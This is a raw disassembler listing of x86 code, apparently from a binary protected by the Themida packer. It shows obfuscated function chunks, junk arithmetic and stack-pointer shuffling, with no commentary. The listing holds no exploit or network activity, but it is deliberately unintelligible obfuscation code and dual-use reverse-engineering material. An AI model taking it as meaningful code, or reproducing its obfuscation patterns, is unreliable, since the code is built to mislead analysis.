sub_5A3D81	proc near		; CODE XREF: sub_5AEE2E-AC9Ej
					; sub_5A91CF-4105j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599F53 SIZE 00000011 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esi
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		pop	esi
		not	esi
		jmp	loc_599F53
sub_5A3D81	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE45C


loc_5A3D9C:				; CODE XREF: sub_5AE45C-BF02j
		sub	edi, 20556FC5h
		jmp	loc_5A6E25
; END OF FUNCTION CHUNK	FOR sub_5AE45C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A3DA7:				; CODE XREF: sub_5A8C33-10C06j
		push	eax
		mov	eax, 6E4174F8h
		mov	esi, 6E4174FCh
		xor	esi, eax
		pop	eax
		add	[esp+8+var_4], esi
		pop	esi
		pop	esi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		push	[esp+4+var_4]
		pop	ecx
		push	0FC6h
		jmp	loc_5AB8F9
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A3DD1:				; CODE XREF: sub_5A8D43+51A5j
		pop	eax
		xchg	ebp, [esp+6+var_8+2]
		pop	esp
		xchg	ecx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		jmp	loc_599B02
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A3DE1:				; CODE XREF: Themida_:005A722Dj
		mov	ecx, 4
		jmp	loc_5A7650
; ---------------------------------------------------------------------------


loc_5A3DEB:				; CODE XREF: Themida_:005A9FDBj
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_5A930F
; ---------------------------------------------------------------------------


loc_5A3DF7:				; CODE XREF: Themida_:005A3FD4j
		pop	edx
		push	dword ptr [esp]
		jmp	loc_59F788
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BB22


loc_5A3E00:				; CODE XREF: sub_59BB22+E1A4j
		xor	eax, edx
		jmp	loc_5A4F58
; END OF FUNCTION CHUNK	FOR sub_59BB22
; ---------------------------------------------------------------------------


loc_5A3E07:				; CODE XREF: Themida_:005AA6C3j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 4
		sub	esi, 604410B7h
		add	esi, 32537D9Dh
		jmp	loc_59C823
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_5A3E2C:				; CODE XREF: sub_59FDC7+4E00j
		sub	ebp, 0E012CC5Dh
		sub	esi, ebp
		mov	ebp, [esp+8+var_8]
		jmp	loc_598AF8
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A3E3C:				; CODE XREF: sub_5ACD64-5E48j
		push	[esp-0Ch+arg_8]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_5A1E54
; ---------------------------------------------------------------------------


loc_5A3E48:				; CODE XREF: sub_5ACD64-ED8Cj
		xor	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	sub_5A24F4
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A3E53:				; CODE XREF: Themida_:005A2D40j
		pop	ecx
		push	edx
		jmp	loc_599D9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A3E5A:				; CODE XREF: sub_599059+5B17j
		shr	ebx, 8
		add	ebx, 47A91679h
		jnb	loc_59E019
		sub	ebx, 22E3158Ah
		jmp	loc_5A7216
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A3E74:				; CODE XREF: sub_598D67+123A3j
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_59D32F
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------


loc_5A3E80:				; CODE XREF: Themida_:005A92A2j
		mov	esi, 2AC97C94h
		xor	ebx, esi
		pop	esi
		and	ebx, 484B1283h
		neg	ebx
		sub	ebx, 0BFFFFF7Bh
		add	edx, ebx
		pop	ebx
		jmp	loc_5AB5AA
; ---------------------------------------------------------------------------


loc_5A3E9E:				; CODE XREF: Themida_:005A1A36j
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		sub	[esp+4], ecx
		mov	ecx, [esp]
		jmp	loc_5AA417
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5A3EB4:				; CODE XREF: sub_5AB72D-5848j
		jz	loc_5AE107
		neg	esi
		jge	loc_5A057E
		add	esi, 400E4998h
		jmp	loc_597C92
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------


loc_5A3ECD:				; CODE XREF: Themida_:005A75B5j
		or	ebp, 113C0537h
		jge	loc_5A02DF
		sub	ebp, 70B31AB0h
		jmp	loc_5A7F24
; ---------------------------------------------------------------------------
		mov	al, bh
		mov	edx, eax
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5A3EE8:				; CODE XREF: sub_5AD8C7+8FBj
		push	edx
		push	ebx
		mov	ebx, 30EB7A4Bh
		push	ebx
		pop	edx
		pop	ebx
		xor	edx, 0DBF66F6h
		jz	sub_5A1B9F
		push	ebp
		mov	ebp, 0C2ABE347h
		jmp	loc_5A2998
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5A3F09:				; CODE XREF: sub_5AE0B5-2C9Bj
		mov	[esp+4+var_4], ebp
		mov	ebp, 40164BDh
		add	esi, ebp
		jmp	loc_59815A
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_5A3F18:				; CODE XREF: Themida_:005A4608j
		add	al, bh
		add	al, 0FEh
		pop	ebx
		sub	al, 87h
		sub	al, bl
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0Eh
		add	bl, 79h
		jmp	loc_5AC035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5A3F31:				; CODE XREF: sub_59C342+B8FAj
		add	esp, 4
		jmp	sub_599721
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB601


loc_5A3F3C:				; CODE XREF: sub_5AB601-5066j
		push	eax
		jmp	loc_5ADAFC
; END OF FUNCTION CHUNK	FOR sub_5AB601

; =============== S U B	R O U T	I N E =======================================



sub_5A3F42	proc near		; CODE XREF: sub_5A8D43-241j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597EF8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597F47 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597FF8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005986E1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005988F6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059932F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059946F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059981F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00599F31 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059B0D7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B49F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C390 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059C729 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D0A4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DA02 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059E158 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059E2F4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059EE50 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F147 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059F5E6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059F61F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F744 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FF72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A00BD SIZE 0000003B BYTES
; FUNCTION CHUNK AT 005A04B2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0D2B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A1E88 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A21A6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A21DE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2743 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3167 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A404D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A45AD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A46D9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4D43 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5BA5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A63B5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A66F2 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005A7E0A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A84AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A872C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A87A9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A99AD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9C68 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AA493 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AAECC SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005AC7DF SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005ACCB9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AD465 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE8C8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AE9DF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AED46 SIZE 00000026 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	0D31h
		mov	[esp+8+var_8], edi
		mov	edi, 412F01C3h
		or	edi, 59025C6Bh
		jmp	loc_59FF72
sub_5A3F42	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A3F63:				; CODE XREF: sub_5A600F-4383j
		add	edx, 2
		xchg	edx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	bx, word ptr [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		jmp	loc_5A5BB1
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5A3F7E:				; CODE XREF: Themida_:0059A266j
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5A72B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F5C0


loc_5A3F90:				; CODE XREF: sub_59F5C0-77BAj
		add	esp, 4
		push	ebp
		mov	ebp, 73FC4AA6h
		jmp	loc_599012
; END OF FUNCTION CHUNK	FOR sub_59F5C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A3FA1:				; CODE XREF: sub_597F0C+162FCj
		jmp	loc_59C1E6
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A3FA6:				; CODE XREF: sub_59B707+B0C6j
		push	200h
		pop	ecx
		and	eax, ecx
		push	[esp+1Ch+var_1C]
		push	[esp+20h+var_20]
		jmp	loc_5ACE59
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A3FB9:				; CODE XREF: sub_5A1B2A+6F63j
		jmp	loc_59DCA2
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_5A3FBE:				; CODE XREF: Themida_:0059E4C4j
		pop	dword ptr [esp]
		push	edx
		push	eax
		mov	eax, 6FD92456h
		mov	edx, 6FD92452h
		xor	edx, eax
		pop	eax
		add	[esp+4], edx
		jmp	loc_5A3DF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A3FD9:				; CODE XREF: sub_59B707-550j
		xor	eax, ecx
		jmp	sub_59F20F
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A3FE0:				; CODE XREF: sub_59CD12-488Dj
		add	ebx, 24962030h
		jmp	loc_5A5A94
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A3FEB:				; CODE XREF: sub_59FFBE-2CBCj
		pop	edx
		push	dword ptr [esp+0]
		mov	edx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	725Eh
		mov	[esp-0Ch+arg_8], esi
		jmp	loc_5A7048
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A4015:				; CODE XREF: sub_5ABA9B-FEDCj
		mov	ebp, 5F2B2EB1h
		xor	ebp, ecx
		pop	ecx
		add	esi, ebp
		mov	ebp, [esp+8+var_8]
		push	eax
		push	esp
		pop	eax
		push	edi
		jmp	loc_5A4E50
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------


loc_5A402B:				; CODE XREF: Themida_:005AAE41j
		add	edx, 5EDF4421h
		add	edx, ebx
		sub	edx, 5EDF4421h
		jmp	loc_59930C
; ---------------------------------------------------------------------------


loc_5A403E:				; CODE XREF: Themida_:005AB6E2j
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5A4048:				; CODE XREF: Themida_:005A075Fj
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A404D:				; CODE XREF: sub_5A3F42:loc_597EF8j
		add	esi, 0C481758Fh
		mov	ebx, esi
		pop	esi
		jmp	loc_59981F
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5A405B:				; CODE XREF: sub_5AA46D-572Fj
		push	eax
		push	ebp
		mov	ebp, 6EB0699Ch
		mov	eax, 91509663h
		add	eax, ebp
		pop	ebp
		push	3E6Eh
		jmp	loc_59EBDE
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A4074:				; CODE XREF: sub_5A17D6+7693j
		add	esp, 4
		push	edi
		push	0C567463h
		push	[esp+0Ch+var_C]
		pop	edi
		push	esi
		jmp	loc_5A6E0C
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A408A:				; CODE XREF: sub_599721+F0AFj
		sub	edx, 0AB15770h
		dec	edx
		jmp	loc_59F125
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------


loc_5A4096:				; CODE XREF: Themida_:005AD141j
		add	esi, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	esi, 450369Ah
		add	esi, edi
		sub	esi, 450369Ah
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	ecx
		jmp	near ptr dword_59B024+1Fh
; ---------------------------------------------------------------------------


loc_5A40B8:				; CODE XREF: Themida_:005A9416j
		pop	dword ptr [esp]
		pop	esp
		and	[esp], ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A40C6:				; CODE XREF: sub_5AE6FD-1279Fj
		inc	ah
		xor	ah, 97h
		xor	bl, ah
		pop	eax
		push	ecx
		mov	cl, 4Bh
		neg	cl
		dec	cl
		dec	cl
		jmp	loc_5984C5
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A40DC:				; CODE XREF: sub_5A34FD+9CFFj
		add	esp, 4
		mov	ch, dh
		pop	edx
		push	ecx
		jmp	loc_59C975
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CD12


loc_5A40E8:				; CODE XREF: sub_5AC95F:loc_5A3D6Dj
					; sub_59CD12+88D5j
		mov	ecx, 39884627h
		jmp	loc_5A6401
; END OF FUNCTION CHUNK	FOR sub_59CD12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A40F2:				; CODE XREF: sub_5A1B2A+2E34j
		push	edi
		push	1BDC5311h
		pop	edi
		add	eax, edi
		jmp	loc_597B89
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A594B


loc_5A4100:				; CODE XREF: sub_5A594B-AB07j
		push	esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		jmp	loc_59DBB7
; END OF FUNCTION CHUNK	FOR sub_5A594B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A4114:				; CODE XREF: sub_5A8C33+57E2j
		jz	loc_5A97D2
		or	eax, 83512E1h
		jnz	loc_5A6260
		sub	eax, 0BE531294h
		jmp	loc_59D658
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		xor	al, bl
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A4131:				; CODE XREF: sub_5A141E+B184j
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+2+var_4+2], al
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A4140:				; CODE XREF: sub_5A8C33-DCCBj
		pop	edx
		xor	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A4156:				; CODE XREF: sub_59DFDD+5147j
		mov	edi, esp
		push	esi
		mov	esi, 451C4BB8h
		add	esi, 57DE3AF8h
		jmp	loc_59BDAD
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A4169:				; CODE XREF: sub_5A34FD+2647j
		sub	cl, bh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	bl, 25h
		sub	bl, 0E9h
		sub	bl, cl
		add	bl, 0E9h
		add	bl, 25h
		jmp	loc_597E99
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A4184:				; CODE XREF: sub_5AEE2E-F011j
		jnz	loc_5A0527
		push	edx
		mov	edx, 28124AC3h
		jmp	sub_5A3D81
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
		push	esi
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A4197:				; CODE XREF: sub_599721+13F0Fj
		mov	[esp+0], edi
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	edi
		pop	eax
		mov	edi, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		push	esp
		pop	edx
		jmp	loc_5AC8E1
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------


loc_5A41C8:				; CODE XREF: Themida_:0059A99Dj
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_597B5F

; =============== S U B	R O U T	I N E =======================================



sub_5A41D6	proc near		; DATA XREF: Themida_:00597914o

var_13		= byte ptr -13h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597C9D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00599912 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599D2E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D292 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D468 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059EB91 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A20D2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A36D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4658 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A513E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A55C1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A603C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A653D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A7537 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A856C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A9DB2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9F4B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AC7D7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE840 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AEAF7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AEFE4 SIZE 00000015 BYTES

		lodsb
		jmp	loc_5A9DB2
sub_5A41D6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A41DC:				; CODE XREF: sub_59D99C-809j
		mov	esi, 0FFFFFFFFh
		jmp	loc_5A0CFA
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A41E6:				; CODE XREF: sub_5A141E+9B3Fj
		xor	si, 103Bh
		jmp	sub_59D147
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5A41F0:				; CODE XREF: sub_599526+BFDEj
		sub	ah, 95h
		jmp	loc_59B21B
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A41F8:				; CODE XREF: sub_5ACD64-7E94j
		sub	al, 67h
		sub	bl, al
		jmp	loc_59B215
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E640


loc_5A4201:				; CODE XREF: Themida_:005A2219j
					; sub_59E640+DACCj
		add	eax, 2
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		idiv	cl
		movzx	cx, ah
		push	ecx
		push	esp
		push	[esp+0Ch+var_C]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+10h+var_10]
		xor	[esp+10h+var_10], esi
		xor	esi, [esp+10h+var_10]
		pop	esp
		push	eax
		push	ebp
		mov	ebp, 310D312Ch
		push	663Dh
		mov	[esp+18h+var_18], ebp
		jmp	loc_5AC9F9
; END OF FUNCTION CHUNK	FOR sub_59E640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A4240:				; CODE XREF: sub_599059+7AC5j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6+arg_0+2]
		pop	esp
		pop	[esp-0Ah+arg_6]
		mov	esp, [esp-0Eh+arg_A]
		mov	word ptr [esp-0Eh+arg_A], ax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A425F:				; CODE XREF: sub_5AB98B-105F1j
		push	ax
		jmp	loc_597B93
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------


loc_5A4266:				; CODE XREF: Themida_:loc_599BB4j
		jmp	loc_5A17C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A426B:				; CODE XREF: sub_5986D6+3E32j
					; Themida_:005AD56Bj
		mov	eax, 7F4E0411h
		xor	eax, 29B80C65h
		sub	ecx, eax
		jmp	loc_598955
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5A427C:				; CODE XREF: sub_5A438E+5F19j
		pop	ebx
		push	edx
		mov	edx, 4
		sub	ebx, 41920AE0h
		jmp	loc_5A2153
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A428E:				; CODE XREF: sub_59B707+33F8j
		xchg	ebx, [esp-0Ch+arg_6+2]
		pop	esp
		jmp	loc_5ACB31
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5A4297:				; CODE XREF: sub_5A71A8-2A21j
		xor	[esp+0Ch+var_C], 35F80A3Ch
		jmp	loc_5A16A5
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A42A3:				; CODE XREF: sub_5AC95F-E94Bj
		pop	esp
		add	al, 39h
		sub	al, 0AEh
		push	cx
		jmp	loc_5AA0AD
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A42AF:				; CODE XREF: sub_599059+5B26j
		sub	ebx, 22E3158Ah
		jmp	loc_5A2164
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A42BA:				; CODE XREF: sub_59B707+112C3j
		shl	edx, 8
		jnz	loc_5A3412
		jmp	loc_5A6B6A
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, 0E41603Ah
		dec	edx
		pop	eax
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A42D0:				; CODE XREF: sub_5A8F00-10EEAj
		mov	ebp, 0FFFFFFFFh
		jmp	loc_5AE05F
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------


loc_5A42DA:				; CODE XREF: Themida_:005A723Dj
		add	ebx, 432A4615h
		jge	loc_5A25EA
		shr	ebx, 3
		xor	ebx, 0DB4A9EFh
		mov	eax, edx
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A42F2:				; CODE XREF: sub_59AE49+10669j
		push	edx
		mov	edx, 7AF27F10h
		sub	edx, 7E61313Dh
		inc	edx
		jmp	loc_59DBDB
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A4304:				; CODE XREF: sub_59C53B+6FF0j
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		pop	esp
		jmp	loc_59F783
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A4310:				; CODE XREF: sub_5A600F-7C69j
					; sub_5A9443-6D7Dj
		xchg	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_5A7036
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A4319:				; CODE XREF: sub_59D99C+1237j
		shl	edi, 7
		jmp	loc_5A85D3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD830


loc_5A4321:				; CODE XREF: sub_5AD830-55F9j
		sub	ebp, 65B54D2Fh
		add	ebp, 0FFFFFFFFh
		jmp	loc_5A8BD5
; END OF FUNCTION CHUNK	FOR sub_5AD830
